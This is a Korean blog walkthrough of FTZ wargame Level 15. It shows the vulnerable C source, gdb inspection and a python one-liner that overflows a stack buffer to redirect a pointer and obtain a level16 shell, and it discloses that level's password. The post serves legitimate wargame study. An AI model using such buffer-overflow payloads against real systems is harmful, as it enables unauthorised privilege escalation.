[FTZ] Level 15

Sisyphus·2022년 7월 15일

FTZ

목록 보기
25/30
[level15@ftz level15]$ cat hint
#include <stdio.h>
 
main()
{ int crap;
  int *check;
  char buf[20];
  fgets(buf,45,stdin);
  if (*check==0xdeadbeef)
   {
     setreuid(3096,3096);
     system("/bin/sh");
   }
}  

cat 명령어를 이용해서 hint를 출력하니 level 15와 비슷한 소스코드가 출력되었습니다. 비슷한 방법으로 *check의 값을 deadbeef로 변조하면 문제를 해결할 수 있을 거 같습니다.


일단 전에 익스플로잇 코드를 실행시켜보면

[level15@ftz level15]$ (python -c 'print "\x90"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme

Segmentation fault

segmentation fault가 발생합니다.

포인터라 0xdeadbeef의 주소를 넣어야 할 거 같습니다.


먼저 0xdeadbeef의 주소를 찾아보면

0x080484b0 <main+32>:	cmp    DWORD PTR [eax],0xdeadbeef

(gdb) x/wx 0x080484b0
0x80484b0 <main+32>:	0xbeef3881
(gdb) x/wx 0x080484b1
0x80484b1 <main+33>:	0xadbeef38
(gdb) x/wx 0x080484b2
0x80484b2 <main+34>:	0xdeadbeef

"\xb2\x84\x04\x08"


이 주소로 익스플로잇 코드를 수정해보면

(python -c 'print "\x90"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme

수정한 익스플로잇 코드를 실행시켜보면

[level15@ftz level15]$ (python -c 'print "\x90"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme

id
uid=3096(level16) gid=3095(level15) groups=3095(level15)

쉘이 떴습니다.


패스워드를 출력해보면

my-pass

Level16 Password is "about to cause mass".

0개의 댓글